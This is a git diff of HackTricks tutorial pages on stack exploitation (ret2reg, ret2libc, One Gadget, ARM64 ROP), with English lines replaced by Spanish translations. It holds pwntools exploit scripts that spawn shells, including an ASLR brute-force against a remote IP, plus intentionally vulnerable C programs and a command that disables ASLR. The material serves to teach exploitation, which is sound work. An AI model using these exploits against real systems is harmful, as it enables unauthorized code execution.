Puedes ver otro ejemplo de esta técnica en [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). Hay un desbordamiento de búfer sin NX habilitado, se utiliza un gadget para **reducir la dirección de `$esp`** y luego un `jmp esp;` para saltar al shellcode:
You can see another example of this technique in [https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html](https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html). There is a buffer overflow without NX enabled, it's used a gadget to r**educe the address of `$esp`** and then a `jmp esp;` to jump to the shellcode:
```python ```python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html # From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import * from pwn import *
@ -81,47 +76,41 @@ target.sendline(payload)
# Drop to an interactive shell # Drop to an interactive shell
target.interactive() target.interactive()
``` ```
## Ret2reg ## Ret2reg
Similarly, if we know a function returns the address where the shellcode is stored, we can leverage **`call eax`** or **`jmp eax`** instructions (known as **ret2eax** technique), offering another method to execute our shellcode. Just like eax, **any other register** containing an interesting address could be used (**ret2reg**). De manera similar, si sabemos que una función devuelve la dirección donde se almacena el shellcode, podemos aprovechar las instrucciones **`call eax`** o **`jmp eax`** (conocidas como técnica **ret2eax**), ofreciendo otro método para ejecutar nuestro shellcode. Al igual que eax, **cualquier otro registro** que contenga una dirección interesante podría ser utilizado (**ret2reg**).
### Example ### Ejemplo
You can find some examples here:&#x20; Puedes encontrar algunos ejemplos aquí:&#x20;
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg) - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c) - [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
- **`strcpy`** will be store in **`eax`** the address of the buffer where the shellcode was stored and **`eax`** isn't being overwritten, so it's possible use a `ret2eax`. - **`strcpy`** almacenará en **`eax`** la dirección del buffer donde se almacenó el shellcode y **`eax`** no está siendo sobrescrito, por lo que es posible usar un `ret2eax`.
## ARM64 ## ARM64
### Ret2sp ### Ret2sp
In ARM64 there **aren't** instructions allowing to **jump to the SP registry**. It might be possible to find a gadget that **moves sp to a registry and then jumps to that registry**, but in the libc of my kali I couldn't find any gadget like that: En ARM64 **no hay** instrucciones que permitan **saltar al registro SP**. Podría ser posible encontrar un gadget que **mueva sp a un registro y luego salte a ese registro**, pero en la libc de mi kali no pude encontrar ningún gadget así:
```bash ```bash
for i in `seq 1 30`; do for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)"; ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done done
``` ```
Los únicos que descubrí cambiarían el valor del registro donde se copió sp antes de saltar a él (por lo que se volvería inútil):
The only ones I discovered would change the value of the registry where sp was copied before jumping to it (so it would become useless):
<figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1224).png" alt=""><figcaption></figcaption></figure>
### Ret2reg ### Ret2reg
If a registry has an interesting address it's possible to jump to it just finding the adequate instruction. You could use something like: Si un registro tiene una dirección interesante, es posible saltar a ella simplemente encontrando la instrucción adecuada. Podrías usar algo como:
```bash ```bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?"; ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
``` ```
En ARM64, es **`x0`** quien almacena el valor de retorno de una función, por lo que podría ser que x0 almacene la dirección de un búfer controlado por el usuario con un shellcode para ejecutar.
In ARM64, it's **`x0`** who stores the return value of a function, so it could be that x0 stores the address of a buffer controlled by the user with a shellcode to execute.
Example code: Example code:
```c ```c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack // clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
@ -129,34 +118,32 @@ Example code:
#include <string.h> #include <string.h>
void do_stuff(int do_arg){ void do_stuff(int do_arg){
if (do_arg == 1) if (do_arg == 1)
__asm__("br x0"); __asm__("br x0");
return; return;
} }
char* vulnerable_function() { char* vulnerable_function() {
char buffer[64]; char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin); fgets(buffer, sizeof(buffer)*3, stdin);
return buffer; return buffer;
} }
int main(int argc, char **argv) { int main(int argc, char **argv) {
char* b = vulnerable_function(); char* b = vulnerable_function();
do_stuff(2) do_stuff(2)
return 0; return 0;
} }
``` ```
Revisando la desensambladura de la función, es posible ver que la **dirección del buffer** (vulnerable a bof y **controlada por el usuario**) está **almacenada en `x0`** antes de regresar del desbordamiento de buffer:
Checking the disassembly of the function it's possible to see that the **address to the buffer** (vulnerable to bof and **controlled by the user**) is **stored in `x0`** before returning from the buffer overflow:
<figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../images/image (1225).png" alt="" width="563"><figcaption></figcaption></figure>
It's also possible to find the gadget **`br x0`** in the **`do_stuff`** function: También es posible encontrar el gadget **`br x0`** en la función **`do_stuff`**:
<figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../images/image (1226).png" alt="" width="563"><figcaption></figcaption></figure>
We will use that gadget to jump to it because the binary is compile **WITHOUT PIE.** Using a pattern it's possible to see that the **offset of the buffer overflow is 80**, so the exploit would be: Usaremos ese gadget para saltar a él porque el binario está compilado **SIN PIE.** Usando un patrón, es posible ver que el **desplazamiento del desbordamiento de buffer es 80**, por lo que el exploit sería:
```python ```python
from pwn import * from pwn import *
@ -171,17 +158,16 @@ payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
> [!WARNING] > [!WARNING]
> If instead of `fgets` it was used something like **`read`**, it would have been possible to bypass PIE also by **only overwriting the last 2 bytes of the return address** to return to the `br x0;` instruction without needing to know the complete address.\ > Si en lugar de `fgets` se hubiera utilizado algo como **`read`**, habría sido posible eludir PIE también **solo sobrescribiendo los últimos 2 bytes de la dirección de retorno** para volver a la instrucción `br x0;` sin necesidad de conocer la dirección completa.\
> With `fgets` it doesn't work because it **adds a null (0x00) byte at the end**. > Con `fgets` no funciona porque **agrega un byte nulo (0x00) al final**.
## Protections ## Protecciones
- [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): If the stack isn't executable this won't help as we need to place the shellcode in the stack and jump to execute it. - [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md): Si la pila no es ejecutable, esto no ayudará ya que necesitamos colocar el shellcode en la pila y saltar para ejecutarlo.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Those can make harder to find a instruction to jump to esp or any other register. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) & [**PIE**](../common-binary-protections-and-bypasses/pie/): Estos pueden dificultar encontrar una instrucción para saltar a esp o cualquier otro registro.
## References ## Referencias
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode) - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode)
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp) - [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp)

View File

@ -2,103 +2,90 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## **Basic Information** ## **Información Básica**
The essence of **Ret2Libc** is to redirect the execution flow of a vulnerable program to a function within a shared library (e.g., **system**, **execve**, **strcpy**) instead of executing attacker-supplied shellcode on the stack. The attacker crafts a payload that modifies the return address on the stack to point to the desired library function, while also arranging for any necessary arguments to be correctly set up according to the calling convention. La esencia de **Ret2Libc** es redirigir el flujo de ejecución de un programa vulnerable a una función dentro de una biblioteca compartida (por ejemplo, **system**, **execve**, **strcpy**) en lugar de ejecutar shellcode proporcionado por el atacante en la pila. El atacante elabora una carga útil que modifica la dirección de retorno en la pila para apuntar a la función de la biblioteca deseada, mientras también organiza que cualquier argumento necesario esté correctamente configurado de acuerdo con la convención de llamada.
### **Example Steps (simplified)** ### **Pasos de Ejemplo (simplificados)**
- Get the address of the function to call (e.g. system) and the command to call (e.g. /bin/sh) - Obtener la dirección de la función a llamar (por ejemplo, system) y el comando a llamar (por ejemplo, /bin/sh)
- Generate a ROP chain to pass the first argument pointing to the command string and the execution flow to the function - Generar una cadena ROP para pasar el primer argumento apuntando a la cadena de comando y el flujo de ejecución a la función
## Finding the addresses ## Encontrando las direcciones
- Supposing that the `libc` used is the one from current machine you can find where it'll be loaded in memory with:
- Suponiendo que la `libc` utilizada es la de la máquina actual, puedes encontrar dónde se cargará en memoria con:
```bash ```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time) ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
``` ```
Si quieres verificar si el ASLR está cambiando la dirección de libc, puedes hacer:
If you want to check if the ASLR is changing the address of libc you can do:
```bash ```bash
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
``` ```
- Conocer la libc utilizada también permite encontrar el desplazamiento a la función `system` con:
- Knowing the libc used it's also possible to find the offset to the `system` function with:
```bash ```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
``` ```
- Conociendo la libc utilizada, también es posible encontrar el desplazamiento a la cadena `/bin/sh` función con:
- Knowing the libc used it's also possible to find the offset to the string `/bin/sh` function with:
```bash ```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
``` ```
### Usando gdb-peda / GEF
### Using gdb-peda / GEF Conociendo la libc utilizada, también es posible usar Peda o GEF para obtener la dirección de la función **system**, de la función **exit** y de la cadena **`/bin/sh`** :
Knowing the libc used, It's also possible to use Peda or GEF to get address of **system** function, of **exit** function and of the string **`/bin/sh`** :
```bash ```bash
p system p system
p exit p exit
find "/bin/sh" find "/bin/sh"
``` ```
### Usando /proc/\<PID>/maps
### Using /proc/\<PID>/maps Si el proceso está creando **hijos** cada vez que hablas con él (servidor de red), intenta **leer** ese archivo (probablemente necesitarás ser root).
If the process is creating **children** every time you talk with it (network server) try to **read** that file (probably you will need to be root). Aquí puedes encontrar **exactamente dónde se carga la libc** dentro del proceso y **dónde se va a cargar** para cada hijo del proceso.
Here you can find **exactly where is the libc loaded** inside the process and **where is going to be loaded** for every children of the process.
![](<../../../images/image (853).png>) ![](<../../../images/image (853).png>)
In this case it is loaded in **0xb75dc000** (This will be the base address of libc) En este caso se carga en **0xb75dc000** (Esta será la dirección base de libc)
## Unknown libc ## libc desconocida
It might be possible that you **don't know the libc the binary is loading** (because it might be located in a server where you don't have any access). In that case you could abuse the vulnerability to **leak some addresses and find which libc** library is being used: Puede ser posible que **no conozcas la libc que está cargando el binario** (porque podría estar ubicada en un servidor al que no tienes acceso). En ese caso, podrías abusar de la vulnerabilidad para **filtrar algunas direcciones y encontrar qué biblioteca libc** se está utilizando:
{{#ref}} {{#ref}}
rop-leaking-libc-address/ rop-leaking-libc-address/
{{#endref}} {{#endref}}
And you can find a pwntools template for this in: Y puedes encontrar una plantilla de pwntools para esto en:
{{#ref}} {{#ref}}
rop-leaking-libc-address/rop-leaking-libc-template.md rop-leaking-libc-address/rop-leaking-libc-template.md
{{#endref}} {{#endref}}
### Know libc with 2 offsets ### Conocer libc con 2 offsets
Check the page [https://libc.blukat.me/](https://libc.blukat.me/) and use a **couple of addresses** of functions inside the libc to find out the **version used**. Consulta la página [https://libc.blukat.me/](https://libc.blukat.me/) y usa un **par de direcciones** de funciones dentro de la libc para averiguar la **versión utilizada**.
## Bypassing ASLR in 32 bits ## Bypass de ASLR en 32 bits
These brute-forcing attacks are **only useful for 32bit systems**. Estos ataques de fuerza bruta son **solo útiles para sistemas de 32 bits**.
- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
- Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits):
```python ```python
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
``` ```
- Si atacas un servidor remoto, podrías intentar **forzar la dirección de la función `usleep` de `libc`**, pasando como argumento 10 (por ejemplo). Si en algún momento el **servidor tarda 10s extra en responder**, encontraste la dirección de esta función.
- If attacking a remote server, you could try to **burte-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
## One Gadget ## One Gadget
Execute a shell just jumping to **one** specific **address** in libc: Ejecuta un shell saltando a **una** **dirección** específica en libc:
{{#ref}} {{#ref}}
one-gadget.md one-gadget.md
{{#endref}} {{#endref}}
## x86 Ret2lib Code Example ## x86 Ret2lib Código de Ejemplo
In this example ASLR brute-force is integrated in the code and the vulnerable binary is loated in a remote server:
En este ejemplo, el brute-force de ASLR está integrado en el código y el binario vulnerable se encuentra en un servidor remoto:
```python ```python
from pwn import * from pwn import *
@ -106,60 +93,59 @@ c = remote('192.168.85.181',20002)
c.recvline() c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
p = "" p = ""
p += p32(off + 0x0003cb20) #system p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit() p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p payload = 'A'*0x20010 + p
c.send(payload) c.send(payload)
c.interactive() c.interactive()
``` ```
## x64 Ret2lib Código de Ejemplo
## x64 Ret2lib Code Example Consulta el ejemplo de:
Check the example from:
{{#ref}} {{#ref}}
../ ../
{{#endref}} {{#endref}}
## ARM64 Ret2lib Example ## ARM64 Ret2lib Ejemplo
In the case of ARM64, the ret instruction jumps to whereber the x30 registry is pointing and not where the stack registry is pointing. So it's a bit more complicated. En el caso de ARM64, la instrucción ret salta a donde apunta el registro x30 y no a donde apunta el registro de pila. Así que es un poco más complicado.
Also in ARM64 an instruction does what the instruction does (it's not possible to jump in the middle of instructions and transform them in new ones). Además, en ARM64 una instrucción hace lo que la instrucción hace (no es posible saltar en medio de instrucciones y transformarlas en nuevas).
Check the example from: Consulta el ejemplo de:
{{#ref}} {{#ref}}
ret2lib-+-printf-leak-arm64.md ret2lib-+-printf-leak-arm64.md
{{#endref}} {{#endref}}
## Ret-into-printf (or puts) ## Ret-into-printf (o puts)
This allows to **leak information from the process** by calling `printf`/`puts` with some specific data placed as an argument. For example putting the address of `puts` in the GOT into an execution of `puts` will **leak the address of `puts` in memory**. Esto permite **filtrar información del proceso** al llamar a `printf`/`puts` con algunos datos específicos colocados como argumento. Por ejemplo, poner la dirección de `puts` en la GOT en una ejecución de `puts` **filtrará la dirección de `puts` en memoria**.
## Ret2printf ## Ret2printf
This basically means abusing a **Ret2lib to transform it into a `printf` format strings vulnerability** by using the `ret2lib` to call printf with the values to exploit it (sounds useless but possible): Esto básicamente significa abusar de un **Ret2lib para transformarlo en una vulnerabilidad de cadenas de formato de `printf`** utilizando el `ret2lib` para llamar a printf con los valores para explotarlo (suena inútil pero es posible):
{{#ref}} {{#ref}}
../../format-strings/ ../../format-strings/
{{#endref}} {{#endref}}
## Other Examples & references ## Otros Ejemplos y referencias
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
- Ret2lib, given a leak to the address of a function in libc, using one gadget - Ret2lib, dado un leak a la dirección de una función en libc, usando un gadget
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) - [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64 bit, ASLR enabled but no PIE, the first step is to fill an overflow until the byte 0x00 of the canary to then call puts and leak it. With the canary a ROP gadget is created to call puts to leak the address of puts from the GOT and the a ROP gadget to call `system('/bin/sh')` - 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la dirección de puts de la GOT y luego un gadget ROP para llamar a `system('/bin/sh')`
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html) - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
- 64 bits, ASLR enabled, no canary, stack overflow in main from a child function. ROP gadget to call puts to leak the address of puts from the GOT and then call an one gadget. - 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una función hija. Gadget ROP para llamar a puts y filtrar la dirección de puts de la GOT y luego llamar a un gadget.
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html) - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
- 64 bits, no pie, no canary, no relro, nx. Uses write function to leak the address of write (libc) and calls one gadget. - 64 bits, sin pie, sin canario, sin relro, nx. Usa la función write para filtrar la dirección de write (libc) y llama a un gadget.
- [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html) - [https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html](https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html)
- Uses a format string to leak the canary from the stack and a buffer overflow to calle into system (it's in the GOT) with the address of `/bin/sh`. - Usa una cadena de formato para filtrar el canario de la pila y un desbordamiento de búfer para llamar a system (está en la GOT) con la dirección de `/bin/sh`.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html) - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check). - 32 bits, sin relro, sin canario, nx, pie. Abusa de un mal indexado para filtrar direcciones de libc y heap desde la pila. Abusa del desbordamiento de búfer para hacer un ret2lib llamando a `system('/bin/sh')` (se necesita la dirección del heap para eludir una verificación).
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,36 +2,32 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
[**One Gadget**](https://github.com/david942j/one_gadget) allows to obtain a shell instead of using **system** and **"/bin/sh". One Gadget** will find inside the libc library some way to obtain a shell (`execve("/bin/sh")`) using just one **address**.\ [**One Gadget**](https://github.com/david942j/one_gadget) permite obtener un shell en lugar de usar **system** y **"/bin/sh". One Gadget** encontrará dentro de la biblioteca libc alguna forma de obtener un shell (`execve("/bin/sh")`) utilizando solo una **dirección**.\
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. Sin embargo, normalmente hay algunas restricciones, las más comunes y fáciles de evitar son como `[rsp+0x30] == NULL` Como controlas los valores dentro del **RSP** solo tienes que enviar algunos valores NULL más para que la restricción sea evitada.
![](<../../../images/image (754).png>) ![](<../../../images/image (754).png>)
```python ```python
ONE_GADGET = libc.address + 0x4526a ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100 rop2 = base + p64(ONE_GADGET) + "\x00"*100
``` ```
Para la dirección indicada por One Gadget, necesitas **agregar la dirección base donde se carga `libc`**.
To the address indicated by One Gadget you need to **add the base address where `libc`** is loaded.
> [!TIP] > [!TIP]
> One Gadget is a **great help for Arbitrary Write 2 Exec techniques** and might **simplify ROP** **chains** as you only need to call one address (and fulfil the requirements). > One Gadget es una **gran ayuda para las técnicas de Arbitrary Write 2 Exec** y puede **simplificar las cadenas ROP** **ya que solo necesitas llamar a una dirección (y cumplir con los requisitos)**.
### ARM64 ### ARM64
The github repo mentions that **ARM64 is supported** by the tool, but when running it in the libc of a Kali 2023.3 **it doesn't find any gadget**. El repositorio de github menciona que **ARM64 es compatible** con la herramienta, pero al ejecutarla en la libc de Kali 2023.3 **no encuentra ningún gadget**.
## Angry Gadget ## Angry Gadget
From the [**github repo**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspired by [OneGadget](https://github.com/david942j/one_gadget) this tool is written in python and uses [angr](https://github.com/angr/angr) to test constraints for gadgets executing `execve('/bin/sh', NULL, NULL)`\ Del [**repositorio de github**](https://github.com/ChrisTheCoolHut/angry_gadget): Inspirado por [OneGadget](https://github.com/david942j/one_gadget), esta herramienta está escrita en python y utiliza [angr](https://github.com/angr/angr) para probar restricciones para gadgets que ejecutan `execve('/bin/sh', NULL, NULL)`\
If you've run out gadgets to try from OneGadget, Angry Gadget gives a lot more with complicated constraints to try! ¡Si te has quedado sin gadgets para probar de OneGadget, Angry Gadget ofrece muchos más con restricciones complicadas para probar!
```bash ```bash
pip install angry_gadget pip install angry_gadget
angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so angry_gadget.py examples/libc6_2.23-0ubuntu10_amd64.so
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,65 +2,58 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Ret2lib - NX bypass with ROP (no ASLR) ## Ret2lib - Bypass de NX con ROP (sin ASLR)
```c ```c
#include <stdio.h> #include <stdio.h>
void bof() void bof()
{ {
char buf[100]; char buf[100];
printf("\nbof>\n"); printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin); fgets(buf, sizeof(buf)*3, stdin);
} }
void main() void main()
{ {
printfleak(); printfleak();
bof(); bof();
} }
``` ```
Compilar sin canario:
Compile without canary:
```bash ```bash
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr # Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
### Encontrar offset
### Find offset ### offset x30
### x30 offset Creando un patrón con **`pattern create 200`**, usándolo y verificando el offset con **`pattern search $x30`** podemos ver que el offset es **`108`** (0x6c).
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
<figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1218).png" alt="" width="563"><figcaption></figcaption></figure>
Taking a look to the dissembled main function we can see that we would like to **jump** to the instruction to jump to **`printf`** directly, whose offset from where the binary is loaded is **`0x860`**: Echando un vistazo a la función principal desensamblada, podemos ver que nos gustaría **saltar** a la instrucción para saltar a **`printf`** directamente, cuyo offset desde donde se carga el binario es **`0x860`**:
<figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1219).png" alt=""><figcaption></figcaption></figure>
### Find system and `/bin/sh` string ### Encontrar la cadena system y `/bin/sh`
As the ASLR is disabled, the addresses are going to be always the same: Como ASLR está deshabilitado, las direcciones van a ser siempre las mismas:
<figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1222).png" alt=""><figcaption></figcaption></figure>
### Find Gadgets ### Encontrar Gadgets
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. Necesitamos tener en **`x0`** la dirección de la cadena **`/bin/sh`** y llamar a **`system`**.
Using rooper an interesting gadget was found:
Usando rooper se encontró un gadget interesante:
``` ```
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret; 0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
``` ```
Este gadget cargará `x0` de **`$sp + 0x18`** y luego cargará las direcciones x29 y x30 de sp y saltará a x30. Así que con este gadget podemos **controlar el primer argumento y luego saltar a system**.
This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29 and x30 form sp and jump to x30. So with this gadget we can **control the first argument and then jump to system**.
### Exploit ### Exploit
```python ```python
from pwn import * from pwn import *
from time import sleep from time import sleep
@ -72,8 +65,8 @@ binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"] system = libc.sym["system"]
def expl_bof(payload): def expl_bof(payload):
p.recv() p.recv()
p.sendline(payload) p.sendline(payload)
# Ret2main # Ret2main
stack_offset = 108 stack_offset = 108
@ -90,80 +83,72 @@ p.sendline(payload)
p.interactive() p.interactive()
p.close() p.close()
``` ```
## Ret2lib - Bypass de NX, ASL y PIE con filtraciones de printf desde la pila
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
```c ```c
#include <stdio.h> #include <stdio.h>
void printfleak() void printfleak()
{ {
char buf[100]; char buf[100];
printf("\nPrintf>\n"); printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin); fgets(buf, sizeof(buf), stdin);
printf(buf); printf(buf);
} }
void bof() void bof()
{ {
char buf[100]; char buf[100];
printf("\nbof>\n"); printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin); fgets(buf, sizeof(buf)*3, stdin);
} }
void main() void main()
{ {
printfleak(); printfleak();
bof(); bof();
} }
``` ```
Compilar **sin canario**:
Compile **without canary**:
```bash ```bash
clang -o rop rop.c -fno-stack-protector -Wno-format-security clang -o rop rop.c -fno-stack-protector -Wno-format-security
``` ```
### PIE y ASLR pero sin canario
### PIE and ASLR but no canary - Ronda 1:
- Fuga de PIE desde la pila
- Abusar de bof para volver a main
- Ronda 2:
- Fuga de libc desde la pila
- ROP: ret2system
- Round 1: ### Fugas de Printf
- Leak of PIE from stack
- Abuse bof to go back to main
- Round 2:
- Leak of libc from the stack
- ROP: ret2system
### Printf leaks Estableciendo un punto de interrupción antes de llamar a printf, es posible ver que hay direcciones para regresar al binario en la pila y también direcciones de libc:
Setting a breakpoint before calling printf it's possible to see that there are addresses to return to the binary in the stack and also libc addresses:
<figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1215).png" alt="" width="563"><figcaption></figcaption></figure>
Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass) and **`%25$p`** can leak a libc address: Probando diferentes offsets, el **`%21$p`** puede filtrar una dirección binaria (bypass de PIE) y el **`%25$p`** puede filtrar una dirección de libc:
<figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure> <figure><img src="../../../images/image (1223).png" alt="" width="440"><figcaption></figcaption></figure>
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.** Restando la dirección de libc filtrada con la dirección base de libc, es posible ver que el **offset** de la **dirección filtrada desde la base es `0x49c40`.**
### x30 offset ### offset x30
See the previous example as the bof is the same. Ver el ejemplo anterior ya que el bof es el mismo.
### Find Gadgets ### Encontrar Gadgets
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**. Como en el ejemplo anterior, necesitamos tener en **`x0`** la dirección de la cadena **`/bin/sh`** y llamar a **`system`**.
Using rooper another interesting gadget was found:
Usando rooper se encontró otro gadget interesante:
``` ```
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret; 0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
``` ```
